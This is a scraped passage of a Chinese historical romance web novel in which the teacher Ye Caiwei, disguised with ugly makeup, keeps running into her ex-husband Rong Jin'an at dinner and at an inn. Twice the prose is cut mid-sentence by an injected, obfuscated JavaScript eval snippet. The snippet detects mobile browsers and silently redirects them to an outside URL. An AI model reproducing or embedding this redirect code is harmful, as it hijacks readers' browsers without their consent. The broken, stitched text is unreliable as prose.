临走,叶采薇带着几个学生去向康和县主辞行,再次表达对那颗灵药的感谢。 但不巧县主在歇晌,她刚给婢女留了话,身后的佟归鹤却惊喜说道: “容大人!” 其他几个学生,昨晚都从佟归鹤口中听说了容津岸也在这座山庄里,眼下终于见到本人,纷纷向清流领袖恭敬行礼。 叶采薇不知道为什么容津岸铁青着脸。 大约是他跟康和县主吵架,还没和好吧。 敷衍寒暄之后,师徒数人离开。 容津岸立在原地良久。 康和县主的婢女见他周遭乌云密布,原本要立刻通秉,这下变得欲言又止。 谁知容津岸抬脚便走,婢女只能硬着头皮叫住他: “容大人,县主醒了,吩咐备下两抬软轿,问大人想即刻出发上山,还是晚一些?” “她要去哪儿是她的事,与我何干?”容津岸觉得莫名其妙,又看向自己的随从: “准备下山,去池州府城。” 回到自己的房间,容津岸从袖笼中掏出一样东西。 也不知道刚才,那么多双男人的眼睛看着,叶采薇是怎么神不知鬼不觉塞给他的。 打开,竟然是用白纸包着的银票。 五千两。 昨天是谁张口就来,说她因为要吃饭、要生活,勉强做了个教书匠糊口? 给他亡母的帛金,一出手,够三百户富裕人家过一整年。 房门被敲响,随从来禀,说已准备妥当,随时可以出发。 容津岸将那张银票仔仔细细叠好,收入怀中。 他知道叶采薇带着男学生们下山,是要去池州府城。 因为,昨晚他从头到尾都躲在暗处,听到了她和他们所有的对话。 她说他表里不一,说他装腔作势。 白天面对他时,她生硬强势; 夜晚面对别的男人,她娇柔软糯。 从前,她不是这样的, 她只对他—— “哥哥,你把人家弄疼了……” “哥哥,再亲亲这里嘛。” “哥哥,你会一辈子跟我在一起的,对不对?” 4. 共进晚餐 04 黄昏下的池州府城,万头攒动,人山人海,叶采薇几人在热闹非凡的街市上穿行,走走停停,一路往酒楼去。 “怎么,还没看习惯?”叶采薇转头,睨向落后她一步的佟归鹤。 佟归鹤闻言,与并排着的两位同窗相互看了看,又齐齐摇了摇头。 这些平日里恨不得你来我往八百回合的同窗,今日难得步调行动如此一致,叶采薇“嗤”地一笑,她身侧同样笑着的问鹂接了话: “明日到庆林书院的讲会,我们还会这样打扮,你们今晚上,可千万千万要看习惯了。” 两个男学生一听,又同时瞪向了佟归鹤,佟归鹤自知好心办了坏事,摸了摸鼻子,悻悻闭嘴。 其实细究起来不是好心,是他的私心。 来到池州府城的路上,他说起人多,便提议老师最好戴上帷帽,以避开城内诸多闲言碎语,谁知老师一转头,就自己把自己—— 原本肤若凝脂的面颊,被涂得一片蜡黄,上面还撒着好几片深浅不一的斑点;入鬓长眉,被画得漆黑粗浓,毛发还是倒长着;樱桃小口被彻底改变了形状,变得又厚又大;唯有那双顾盼生辉的眼,无法遮掩,昭彰着她原本娉娉袅袅的美貌。 见到老师这样装扮的第一眼,佟归鹤直以为,自己丑陋的私心已然被无情戳穿。 可是他的老师总比他的揣度要高上好几层,也从不会让他难堪,她对美貌根本毫不在意,扮丑都这样坦坦荡荡。 一行人说说笑笑,又穿过一个街口,他们的身边有马车经过,有人掀开帘子,声音清冷: “姚先生,好巧。” 自从和离之后,叶采薇已经很久没有像今日这般,放松开怀地逛过街了。 原本也是想着,容津岸还在山上陪着他的康和县主,她便可以在池州府城里肆无忌惮一些。 谁知道,好心情如同被迎头浇了一盆冰水,滚得满地狼藉。 她都打扮成了这样,怎么还能被容津岸一眼认出来? 容津岸的脸仍旧清朗俊逸,即使被那马车的侧帘盖了小半,也丝毫不掩风华。 尤其当此刻,夕阳西下,余晖斜照,打在他漆黑的瞳孔里,像冬夜里融融的火焰。 他的眼神总是叫人捉摸不透。 一旁的问鹂见状,不由感叹。 这世上确实有许多巧合事。 因为,叶采薇和容津岸真正意义上的第一次见面,和今日一样,也是一个“凑巧”。 那是容津岸去叶府拜会完的第二日。就在前一日,叶采薇点评他文章的那句“华而不实,徒有其表”在同去叶府的国子监新生中如同一记炸开的惊雷传得沸沸扬扬,但随即,又因为叶渚亭当众把他单独叫到书房而杜绝了议论的声息。 这些事,叶采薇都不知晓。 那时的她,刚刚得知了彼时的未婚夫、未及弱冠的六皇子,不仅在天子脚下流连秦楼楚馆夜夜笙歌,甚至还早早与人珠胎暗结。叶采薇那时候活得纯粹,眼里容不得半点沙子,当即约好了闺蜜,一同女扮男装,前去青楼捉人。 路上,马车匆匆行驶,侧帘上下翻动,露出了容津岸的身影,他正在与她相向而行。 “容公子?”她叫住他,用他的表字,“容仲修?” 容津岸疑惑望向她。 大约因为她的容貌酷似早逝的生母姚氏,极少有人能在不知情的情况下,看出她是叶渚亭的女儿。 “我昨日在叶府上见过你。”她解释。 “原来是叶大姑娘,在下失礼。” 他的声音真好听,叶采薇想,有些恍然。昨日在府上见了他的脸和文章,独独没有听他的声音。 “容公子是绩溪人?”她又问。 可是不等容津岸回答,她便猛地惊觉已经耽误了约定的时辰,又赶忙催促车夫,把还在怔忡的男人独自留在原地。 入青楼捉奸之前,叶采薇又被闺蜜重新大改了妆容,改得更像是个五大三粗的男儿。之后便是香艳旖靡的青楼被闹得鸡飞狗跳,叶采薇不怕玉石俱焚,威胁六皇子说如若不让叶渚亭主动退婚,她就把他的龌龊事扬遍京城。 本朝皇室极其注重名声,六皇子虽然从不觉得自己哪里做错,但最终只能咬牙同意。 从青楼里出来,叶采薇又看到容津岸。 彼时,她还不知他对她的印象已然一降再降,主动说起自己方才不辞而别,以道歉为理由,请他去酒楼单独吃饭。 但八年后的今天,叶采薇不想请容津岸吃饭。 对方不知为何没有留在山上,竟然也来到这池州府城,还偏偏在大街上把她叫住。 就好像八年前两人第一次正式见面,情景翻转。 “容大人。”身后的佟归鹤等人万不敢得罪马车上的权臣,在叶采薇踌躇间,纷纷恭敬行礼。 容津岸的视线却似乎只停留在叶采薇脸上: “明日庆林书院的讲会,姚先生也准备以这样的面目参加?” 说话时,他长指夹着车厢侧帘,一副好整以暇的姿态。 几个学生听得大气不敢出。 在此偶遇本是幸事,怎么容大人对老师说话,有一种咄咄逼人的感觉? “庆林书院的讲会远近驰名,无论大儒骚客抑或贩夫走卒皆可往来。我虽一身素衣粗服,但也是讲礼守信之人,明日的讲会断没有将我拒之门外的道理,除非……有人从中作梗。” 回话时,叶采薇拱手垂头,态度谦恭,言语却毫不相让。 片刻沉默后。 “看来,表里不一的,并非我容津岸一人。”说完,男人长指一松,放下侧帘,吩咐车夫出发。 留下几人面面相觑。 “容大人的意思,是在嘲讽先生表里不一吗?”有人大胆开问。 “可是先生高风亮节,除了女扮男装以外,又哪里有什么值得指摘的地方?” 叶采薇没有心思琢磨容津岸的“表里不一”,一直到几人在宜韵酒楼的包厢中坐下,她仍在惴惴另一件事。 明日,庆林书院的讲会,他必会到场。 要她迎难而退、直接躲了他吗? 可是庆林书院的讲会高手云集、博采众长,能亲自观听,是她存了很久的念想。 “先生,先生?”佟归鹤的声音将叶采薇拉回来。 她扫视着学生们青稚的面容,听佟归鹤再问:“要酒吗?” 叶采薇摇头。 “我早说了,昨晚咱们个个喝得人事不省,先生心疼我们,怎么还会同意今晚又饮酒?”有人嗔怪佟归鹤的多此一举。 “总归要先生亲口说了才算数的。”佟归鹤眼尾上扬,抿唇。 叶采薇咧了咧嘴角,心思还在犹豫着讲会的事,对面的人又道: “我还是没想明白,容大人那句话,究竟是什么意思。” “哪一句?说不止他一人表里不一吗?”话题立刻被接了过去,“以我愚见,话里话外,似乎都在暗示,咱们之中,有人给过他‘表里不一’的评价。佟归鹤,昨日你先与他见过面,难道那个人是你?” 叶采薇忽然头皮一麻,总觉得哪里不对。 好像……是从她的口中说出来的? 可是她快速过了一遍清晨与容津岸的对话,确定没有。 “我蠢钝如猪,也不会当面辱骂朝廷命官!”无端接了口大锅的佟归鹤表示自己十分无辜,抬眼瞪了回去,“绝对是我们想多了,他就是随口一说而已。” “也对,咱们琢磨半天瞎费功夫,难道明天在讲会上,谁还敢当面朝他刨根问底吗?” ——“倒也不必等明天,有什么话,现在就可以来问容某。” 背后妄议的对象就出现在包厢门口,所有人都措手不及。 像一出无法收场的闹剧。 此刻,男学生们的内心十分矛盾,不知道该不该邀请门口玉立的男人进来一起享用这顿晚餐。 一方面,像容津岸这样的高官大员,平日里远在京城,若是趁此机会攀上了他,说不定他们在仕途上就可以少奋斗二十年不止; 但另一方面,容津岸不苟言笑、严肃古板,又年长他们许多岁,他们到底还存了许多孩子心性,自信可以不靠走捷径也能够仕途通达,今晚原本其乐融融的师徒晚宴被一个老古板硬插进来,大抵是不会痛快的。 相比起方才的街头偶遇,容津岸的神色疏朗了不少。 眼下这样尴尬的僵持,他只是淡淡扫过包厢中几名男学生各种各样的颜色: “容某是不是表里不一的人,要看你们姚先生如何评价了。” 叶采薇五雷轰顶。 她想起来了,昨晚上的师徒夜谈,到了最后,佟归鹤曾经直白问过她,为什么她向来强调写文章要重质轻表,当年容津岸却能靠着一手凤采鸾章而独得圣眷? ——“你、你不要学他……” ——“他这个人,表里不一,最会装腔作势……” 她当时醉得快不省人事,是这样回答的。 原来,这些话都被容津岸听了去? 所以,他在今日清晨擅闯她的卧房,不仅是因为她当面说他“亡夫故去五年”,还因为她昨晚又私自评价他“表里不一”? 包厢里的学生们当然不知他们老师心头的小船已经被打翻、在狂风巨浪中飘荡浮沉,只是见她面色苍白,又觉得容津岸话藏机锋,两厢犹豫,只能小心翼翼: “先生,若是与容大人有什么误会,不如趁着这顿饭,一齐化解?” 这下,便是在邀请容津岸一同入席了。 “姚先生呢?你若不同意,容某断不敢擅自加入你们的晚膳。”在众人期盼的目光里,容津岸又特意问叶采薇。 礼貌体贴的姿态,和他那副绝好的皮囊相得益彰。 可惜,只有她知道他的真面目。 “只怕民妇相貌丑陋、言语粗鄙,唐突了容大人。”叶采薇僵硬地说。 “难得姚先生天姿国色、满腹经纶,却非要做此面目,又不顾学生们殷切期盼拒我于千里之外,”容津岸说着,笑了起来: “依容某看,‘表里不一’这四个字,用来形容姚先生,最为恰切。” 于是只好在圆桌旁加个座位,请容津岸一起来。 朝中二品大员,自然须往上座,而原本的上座,是叶采薇这个老师在的。 两人顺理成章坐在了一起。 叶采薇知道这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730561|189647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿饭是吃不好了。 这人身上的气味独特,清冷淡漠又挥之不去,午后辞行时不觉,此刻却源源不断,扑鼻而来。 偏偏这间包厢不大,原本坐下他们几人已算勉强,容津岸加入进来,就更是逼仄得很。 他坐她左侧,右臂每一下动作,都能擦到她的袖笼。 只是碰一下,浅尝辄止。 那个“表里不一”的话题显然不再适合被提起,等上菜的间隙,有人不愿意场面尴尬,竟然大着胆子,压低了嗓音,问容津岸: “其实……在下隐约听过一点风声,就是两个多月前,京城里发生了一桩扑朔迷离的案子,是有关三皇子齐王殿下的。” “妖书案?”出乎那学生所料,容津岸大方回应。 这下,那学生便知晓此事并非秘闻,便顺着话,接着问: “那传闻容大人因为被此案牵连而被迫退出内阁,甚至下野,又……是否属实?” 对于此案的个中细节,容津岸捡着不要紧的,向大家透露一二。 书院的学生一向不谈国事,在这池州府城繁华街巷人声鼎沸的酒楼里,朝廷二品大员亲口谈起遥远京城里波谲云诡的秘辛,此等匪夷所思的情形,让他们无一例外,全都跟着紧张起来。 只有叶采薇如坐针毡,她好想闭上耳朵,阻止那些不想听的人和事钻入她的耳膜。 “三皇子齐王”“五皇子燕王”“六皇子楚王”,还有零星的“废太子”,一声一声,穿越嘈杂鼎沸,狠狠扎进来。 仿佛如同当年那场撼天动地的风波一般,要再一次悍然而决绝地,将她拉上另一条从未想过的道路。 她的胸口被闷在无边的深海,几乎快要窒息。 三皇子齐王是谁?从出生起便和废太子争夺储位的人,她的父亲叶渚亭最大的敌人; 五皇子燕王是齐王的同胞弟弟,却远没有哥哥那样受宠; 六皇子楚王,则原本是她的未婚夫,最不应该出现在如今讨论中的人。 嘉泰四十一年,叶采薇因为无法忍受六皇子沾花惹草,坚决与其退婚。 三年后,嘉泰四十四年四月,太子逆案爆发,证据确凿、震动海内,叶渚亭身为太子党核心成员,一朝沦为阶下囚,是否祸连九族,全在天子一念之间。 那时候,叶采薇日日以泪洗面,无数次懊悔。 若是当初她忍气吞声,身为楚王妃的她,是不是有机会挽回叶渚亭的性命? 她是叶渚亭的独女,一岁丧母,叶渚亭再未续弦,将她如珠如宝一般娇养长大,放她桀骜天性、教她经史子集,让她成为京中贵女最独树一帜的那个。 才华和美貌她都有,她还有叶渚亭无条件无底线的纵容。 在她十一岁那年,叶渚亭还早早便将她许配给了六皇子楚王。六皇子生母不显又为人平庸老实,与储位之争毫无关系,成婚后随他之藩,在藩地平稳一生,是叶渚亭为她能铺垫的未来最好的路。 是她把一切都当成理所应当,是她辜负了拳拳父爱。 叶家家破人亡,她眼睁睁看着; 抄家的官兵把她从小生活的叶府搅得天翻地覆,广梁大门被带锈的铁链锁住,贴上冰冷的封条,她眼睁睁看着; 狱中的叶渚亭瘦得不成人形,只能重复着“是阿爹没有保护好你”,她还是只能眼睁睁看着—— 除了躲在容津岸身后,她还能做什么? 四月,正是春光灿烂的时候,姹紫嫣红的花儿与彩蝶争奇斗艳,她盯着蝴蝶扑扇扑扇的翅膀,一盯就是一整日。 暖融融的阳光打在她的面上,只余一道一道惨白的阴影。 满腹经纶又如何,才比子建又如何,大厦将倾,她依然是废物,是糟粕。 她为什么要苟活下去? 石子再小,扔进汪洋,也能听个响动。 鸟雀有自己的归巢。 她亲手把拥有的一切毁掉。 ——“照容大人的意思,三皇子没有必要多此一举,六皇子则没有那个本事,看下来只有五皇子是幕后主使的可能更大?” 饭桌上,关于新近“妖书案”的讨论还在继续,学生们甚至越说越激动,为了这桩扑朔迷离的政案的幕后主使,争得面红耳赤。 叶采薇的心思和她脸上的妆一样乱。 “其实,原本我以为五皇子最没有可能,但是容大人两句话下来,他又成了嫌疑最大的那一个。”还有人说。 容津岸端茶入口,右臂擦过叶采薇的左臂。 话题好像结束了。 先前点好的菜,已经被店家小二,一盘一盘端上了圆桌。 五颜六色,五彩斑斓。 还有佟归鹤等人,对着每一盘菜肴,都夸得天花乱坠。 饭桌上再一次陷入了热闹非凡。 “我身子不舒服,先回客栈了。”在一片热火朝天的讨论里,叶采薇忽然说。 然后不等男学生们反应,径直起身离去。 包厢里惊愕沉默了片刻,佟归鹤正低着头,给自己编借口要跟着追出去,忽然听到一阵骚动。 “怎么了?”他抬头。 “容大人说,方才先生好像忘了结账,他出去看看。” 5. 停船暂借问 05 叶采薇与容津岸单独吃的第一次饭,结局并不好。 这还要从最开始讲起。 那一日,她把自己画得乱七八糟,冲向了青楼,搅得六皇子的好事鸡飞狗跳。 出来时,再次遇到容津岸,想起第一次在街头自己的不辞而别,实在失礼,以道歉为由,单独请他吃饭。 她是那间吃饭酒楼的常客,那天的黄昏和往常不同,巷头卖冰糖葫芦的老爷爷生意好极了,巷子里成日打骂闺女的娘子也不再发火,墙角看相的老瞎子没有出摊,大约是那周围人人被他骗了一圈,他已经换了个地方。 和往常不同的还有酒楼的包厢,往常只有叶采薇一人进餐,今日则多了一个。 两人的座位在窗边。 “是我唐突,听到容公子的口音。”叶采薇半边娇靥都沐浴在落日余晖里,“所以才问,容公子是不是来自绩溪。” “容某在歙县长大,绩溪与歙县相邻,口音相近是自然。”容津岸淡淡回道。 他当然不会告诉她,两人不仅仅都算徽州同乡,他们的父亲,还有着十分深厚的渊源。 甚至后来,叶采薇和叶渚亭坚不可破的父女关系,也差点因为这层渊源而粉身碎骨。 他只说: “容某是在京城出生,后来跟着家父外放,回到徽州。” 当时的叶采薇惊喜地笑了起来,长长的羽睫被夕阳镀上金黄的光晕: “那可真巧,我在徽州出生,京城长大;容公子你却在京城出生,徽州长大。” 菜肴一盘盘上桌,她又说:“好像我们有些缘分,却蹉跎到今日才相识。” “君家何处住?妾住在横塘。停船暂借问,或恐是同乡①。” 冷酒入杯,叶采薇柔荑端起杯口,在容津岸筷箸前静置的酒杯上碰了一下: “在街头与你偶遇的一幕,像极了这几句,只不过,我是‘停车暂借问’,不如诗中女子那样坦然真诚,先自报家乡何处。” “同是长干人,自小不相识②。”容津岸看着叶采薇将杯中酒一饮而尽,“叶大姑娘,似乎很欣赏这组《长干曲》。” 叶采薇又笑,杏眼眯成了两弯月牙。 “白描裁剪,寥寥数笔,太白都自叹弗如的诗才,自然是比挖空心思拼凑的华靡之语要来得恳切真挚,叶大姑娘不喜文章空有金碧辉煌的辞藻,也是再自然不过。” “谁说我不喜了?”叶采薇却立刻反驳,“扬葩振藻,文采斐然,歌之诵之,口留余香——” 此时几杯酒下肚,她已然微醺:“我喜欢,喜欢得很!” 容津岸却只看着青花瓷盘精美的忍冬纹。 昨日那句“华而不实,徒有其表”的评价,看来她是出口便忘了。 谎话连篇、傲慢少礼、放浪形骸的,漂亮姑娘。 “这家的五味杏酪鹅特别鲜,容公子多吃几口。” “谢谢。” “还需要加点什么菜吗?” “不用。” “酒呢?容公子怎么一直不喝,是不习惯京城这边的口感?” “尚可。” 自己的话落地,空荡荡没有回音,叶采薇忽然觉得很没有意思。 容津岸。 这个人不讲礼貌,她请他吃饭,跟他道歉,还给他讲起两个人的渊源,他却比万年的冰山还要冷淡。 又喝了几杯闷酒,满桌她爱吃的菜肴都变得索然无味,她不知自己脸上那乱七八糟的男妆已经彻底糊成一片,站起来,对容津岸高傲的背脊说: “你知道吗,你遇见我的时候,我这幅样子,是赶着亲手去把我大好的婚事给搅黄了。很快,很快你们所有人,都会看我的笑话了。” 现在,八年之后,与京城千里之遥的池州府城里,叶采薇再次觉得自己被容津岸看了笑话。 她的学生们并不知她真实身份,谈论起那几个为了皇位争得头破血流的皇子,完全肆无忌惮; 可是容津岸知晓,从头到尾都知晓,那一年她差一点死去,他一直在她身边看着她的。 但他还是要说。 一字一句,毫无保留地说。 是故意让她出丑,让她难堪? 甚至,他竟然还在言语中同时保住了三皇子和六皇子。 三皇子是叶渚亭的仇人,也就是她的仇人; 六皇子是她的前未婚夫,也就是他的情敌; 人品下作低劣到什么程度,可以让他与昔日的仇人、情敌,一笑泯恩仇,携手在朝堂里翻云覆雨? 堂堂清流领袖,多么扣人心弦的一段旷世佳话。 只有她一人痛不欲生。 叶采薇离开宜韵酒楼,脚步如飞,只要快点逃离那些言语,她就再不会像从前那样,不争气地自暴自弃。 她的双眼干涸枯萎,心口也闷得发紧。 街市还是来时的街市,暮色昏沉,华灯初上,身边行人熙熙攘攘,没有人注意到这个快步穿梭的姑娘。 只有落后几步跟着她的容津岸,目光紧紧锁住她。 问鹂当然也是第一时间追出来的,只不过容津岸一个眼神,她就知道自己再不能多干涉一点。 她也远远跟着自家姑娘。 叶采薇垂头快走,几次差一点撞到提着彩灯结伴夜游的闺秀娘子,围观卖艺人的欢呼声一浪高过一浪,她绕行好大一圈,才躲过了刺痛她耳膜的热闹。 还有路边乞丐看不清掌纹的手,扎着双丫髻跟在兄长身后跑来跑去的小姑娘。 甚至五光十色的焰火升空,将浓浓黑幕照亮。 池州府城的夜晚,怎么比帝都京城还要繁华热闹呢? 终于走到客栈门口,膝盖忽然疼痛发作,叶采薇停下来。 也许是方才着急赶路,被疯跑的小童撞过,她浑然不觉。 膝盖疼,是她的老毛病之一。 其中重要的原因,当然是她酷爱从后的姿势,有一大半时间,都心甘情愿跪着。 还有便是,当年,她和容津岸做下的那些荒唐终于被叶渚亭发现,老父亲雷霆震怒,亲手狠狠抽了容津岸三十鞭,然后罚去长跪。叶采薇哭求无门,又实在心疼,便跑到容津岸身边,抱着他血肉模糊的脊背,陪他跪了一整个晚上。 她身上那些和他曾经纠缠不分的痕迹也来参与她的混乱。 她的心疼,它们就跟着一起疼。 在叶采薇弯腰揉膝盖的同时,头顶蓦地一阵响雷。夏日的雨来得石破天惊,等她走进客栈时,脸上早已被砸了不少,肩膀也湿了一小块。 幸好回来了。 她的房间在最顶楼,隔壁那间空着,上去后便是独属于她的静谧天地。 然而扶着墙一步一步往上走,她总觉得哪里不对。 快要到顶时,叶采薇突然停了下来。 因为身后的脚步声,太吵,太烦,又太过于熟悉。 她转头,果然看到今晚的始作俑者,像个被暴雨浇头的顽石,恣肆,不羁,伫立在那里。 眼神清澈无辜,星天月地。 她忍无可忍:“容津岸,你跟着我做什么?” “我住这间客栈。”男人抬头看她。 两人一前一后来到这只有两间房的客栈顶楼,叶采薇饱满的胸脯因为急匆匆赶路而不断起伏。 “你跟踪我?” “没有哪一条王法规定,我不能住在这间客栈。” “你就是故意来搅黄我们师徒饭局的!” “他们用餐全都十分愉快。” “你、你明知道我的心魔是什么,我最怕提起皇子的事,非要当着我的面,大张旗鼓地说是吧?” “是你的学生们好奇来问我的。” “容津岸!” “我在这儿。” “我错了,我错了还不行吗?”叶采薇咬牙切齿,“我不该说你已经死了,我也不该背地里编排你,诽谤你‘表里不一’,我向你郑重道歉。” “终于想起来了?” 叶采薇深深吸了口气。 果然,他就是在报复她,锱铢必较的小人心性,和当年没什么两样。 可是又怎么能和当年相提并论呢? 当年,他们一同在叶渚亭的私堂读书,外人面前,她对他的批评总是不遗余力,恨不得连那手铁画银钩的书道也一并贬到尘埃里。 可是私底下,她又会加倍夸回来,夸他,什么大小呀形状呀,还有他用不完的力气。 他好得不得了。 容津岸的话总是很少,那些因为她不留情面批评而积累的怨气,也在这一下一下的夸赞、一下一下的狠凿里,一下一下发泄殆尽。 总归是谁也不欠谁一下的吧。 “我酒品不好,喝酒误事,如若不是你容阁老不厌其烦反复提醒,我的确回忆不起来。”叶采薇说。 不知不觉,容津岸又近了一步,她与他尚隔距离。 她庆幸此刻的自己已经从往事的泥淖中脱了出来,理智占据上风。 “这件事是我不对,今天早上,我也不该对你恶语相向,都是我的错,是我不对。你拿三皇子六皇子的事敲打我,完全没有任何问题。” 她不看他,把姿态放低。 有几息的沉默。 “薇薇,你脸上的妆花了。”容津岸却突然这么说。 清晰凌厉的大手,托着一丝不苟的手帕。 外面的暴雨声戛然而止,这场雨来去匆匆,就好像是为了让她在他面前顶一张乱七八糟的花脸,专门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730562|189647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 降下的。 “它不丑。很好看,我很喜欢。”她坚持为它正名。 明天她还要继续化这个妆,去庆林书院听讲会。 “过来拿手帕自己擦,还是要我帮你擦?”容津岸一动不动,语气笃定到,她会像从前那样任他予夺予求。 叶采薇转身:“我的房间在这里。” 谁知容津岸说:“向朝廷命官行贿,证据就在我的手上。” “你——”叶采薇又转了回来。 容津岸头顶同样被暴雨淋湿,落拓恣睢,深山的顽石千年不腐,挺立渊渟岳峙。 “那是我给游娘子仙逝的帛金,容津岸你要点脸,什么叫‘行贿’?!”她的杏眼圆睁,在这张乱七八糟的脸上,却更显灵巧动人。 “阿娘不要你的帛金。”容津岸说。 “那就把银票还给我。”叶采薇伸出手,“是我多此一举,游娘子向来不喜欢我做她儿媳,觉得我是你青云直上的绊脚石,她的儿子,当然不愿意收我的帛金。” 放在她手心的,却是他的手帕。 “那张银票,有一部分已经请你的学生们吃饭了。” 叶采薇眨了眨眼,想明白他都做了些什么—— 先不说哪家酒楼会收五千两那么大额的银票,只说今晚宜韵酒楼那餐饭,最多能花十两银子,他真用她的银票请客,找零的银子呢?都让他的随从扛着、塞到马车里? 五年不见,这人已经把撒谎不眨眼的技能练就得炉火纯青。 叶采薇将容津岸的手帕狠狠拍回去:“剩下的那些银子,权当我送给你和康和县主的新婚礼金,可以吗?” 容津岸的手抖了一下,差一点抓住她的,“非要这么着急?” “我向你行贿,为了什么呢?”叶采薇后退一步,“这件事对我有任何好处吗?” 她急于摆脱和他这样不清不楚的纠缠。 “见了都察院的堂官,你再说这些,让他们分辨——” 与容津岸的声音一同响起的,还有从楼下传来的、佟归鹤的声音: “先生她呀,应该就是被那满脸的妆容给迷糊了,画得乱七八糟,那包厢本来就狭窄,被咱们一闹,肯定闷着了。” 还有两人回应:“可是她刚进宜韵酒楼的时候,和平时没什么两样啊,你怎么斩钉截铁说是那妆的问题?” 声音由下及上,已经越来越近:“不如打个赌?” 叶采薇的心莫名其妙慌了一下。 她正要转身往自己房里走,谁知手腕一热,容津岸竟然拉着她,飞速闪进了他的那间房。 就在同时,几个男学生说说笑笑,已经上了顶楼。 叶采薇被容津岸压在了门板之后。 只是扣着她的手腕,她明明可以支起来推开他,可他逼视的眼神被昏暗的光线一照,竟让她的心跳也随之僵硬停滞。 一门之隔的外面,学生们也突然安静下来。 几息之后。 “好像……门缝里没有光线透出来,”说话的人声音压低了许多,“难道,先生她已经歇下了?” “不会吧,这才刚到戌时,平日里咱们在书院夜读,先生都会陪着我们的,从来没有这么早。” 容津岸压在叶采薇手腕上的力道更重了。 隔壁传来“笃笃”的敲门声,看来是有人按捺不住,想一探究竟。 房里无人,自然没有半点动静。 有大颗汗珠从叶采薇的额头沁出,沿着她的面,滑到她小巧的下巴,滴落。 “里面应当没人,问鹂姑娘也不在。”门外是佟归鹤的声音。 “先生走时,说是她不舒服,要先回客栈……但她人又不在房间,会去哪里呢?”确认顶楼无人后,学生们的声音自然不受控地大了起来。 几乎就是贴在叶采薇的身后。 “还有容大人,结完账,再也没有回来过,他又会去哪里呢?” “容大人日理万机贵人事忙,咱们连先生去哪儿都不知道,关心他去哪儿做什么?关心了他能让我们直接进翰林院,还是入六部?”有人说话一点不客气。 “嘶……你们说,容大人会不会是追着我们先生走了,现在两个人也在一处?” “胡说八道什么呢?他们两个八竿子打不着,可不许给先生造这种谣。”佟归鹤狠狠否定了那些乱七八糟的话,一顿: “既然先生没回来,咱们不如就在隔壁这间房里等着,反正下午来的时候,我听先生说了,这间房没住人。” 凌乱的脚步声越来越近。 叶采薇几乎登时就要弹起来,却在同时被容津岸死死捂住嘴: “不许动,再动,我现在就像以前那样亲你。” 他的声音也死死抵在她的耳廓。 6. 欺负她 06 叶采薇慌得眼泪都快要涌出来了。 她当然知道,容津岸藏在话后面的意思—— 像以前那样亲她,然后再毫不顾忌地、和她双双出现在她的学生们面前,让他们都看到,看得一清二楚,她在他怀里婉转承.欢的模样。 更重要的,不是她在学生们眼里那素来严厉又保守的形象彻底崩塌,而是她与他明明曾经是亲密无间的夫妻,却自山庄重遇时起,就在所有人面前扮演毫无关系—— 教书育人的先生,非但不以身作则,反而满口谎言,带头欺瞒。 这让她以后,还怎么在学生们面前抬头? 还有她的真实身份,那些她极力隐瞒遗忘,不愿再向外人提起只言片语的过去。 她都要被迫端出来。 容津岸小人。 容津岸歹毒至极。 然而被他修长的手死死捂住嘴唇,他身上清冷淡漠的气息也把她死死捂住,叶采薇目眦欲裂,只能瞪住他。 耳边有他的呼吸声。 她从前是很享受他趴在她耳边喘气的。 那时候,明明没有触碰,又好像他吝啬的薄唇,细细密密的亲吻。 她贪恋着他所有的给予。 现在却不。 外面的学生们距离她和他只有几步之遥,只要过来推一推门,就能发现不对劲。 叶采薇耳根涨红发烧,突然开始后悔,自己先前不该多此一举。 是那笔帛金惹的祸。 其实她并非没存私心,康和县主那副小人得志的嘴脸一而再、再而三地故意朝她耀武扬威,当真以为她是个穷酸浅薄、见识短浅的乡野村妇。 她曾经连皇帝最宠爱的公主都敢当面叫板,会把一个小小县主放在眼里? 更何况,这县主连“叶采薇”最真实的光辉事迹都是道听途说,必然不是在京城中从小耳濡目染长大的。 只不过叶采薇不能当面发作。 那笔送给容津岸的帛金,算是给他一个小小的警示。 看,她可以随随便便把他那未婚妻前呼后拥的行头买下来、翻几倍,那么也请他有点自觉,好好约束一下枕边人。 是她想得太简单了。 她不该争强好胜,就该忍一时风平浪静。 否则,刚才两人在外面对峙、她向他道歉之后,她完全可以头也不回地回到自己的房间,而不是因为他一句“向朝廷命官行贿”的威胁,被迫再与他纠缠。 然后变成现在这样,被禁锢在前是狼后是虎的囹圄,要么被容津岸拿捏,要么被学生们发现。 叶采薇的心脏和无尽的悔意一并炸开。 不止,还有烧得烽火连天的怒意。 就算她做错了一件事,容津岸就理所应当该这样欺负她吗? 是谁故意在学生们面前提皇子的事惹她伤心、害她差点失态,又是谁不怀好意住在她隔壁,还威胁她把她押送到都察院、告她向朝廷命官行贿? 是狼心狗肺的容津岸。 他怎么能属猪呢,他明明该属狗才对。 就在叶采薇咬牙切齿之际,捂住她嘴唇的力道,忽然松了。 一门之隔的嘈杂人声和脚步声也已经消失。 “是问鹂,”容津岸解释,“她从楼下上来,帮咱们圆了个谎。” 叶采薇的手腕,还有脸颊被他捂住的地方,辣辣生疼,肩膀僵硬得像被灌了浓厚的铅,大腿因为长久绷直而不断颤抖,膝盖上的老毛病也牵引着上下左右,让她几乎站不稳。 但容津岸却衣冠楚楚,一副冷眼旁观的模样,用“咱们”这个词,对他方才所有做下的恶事欲盖弥彰。 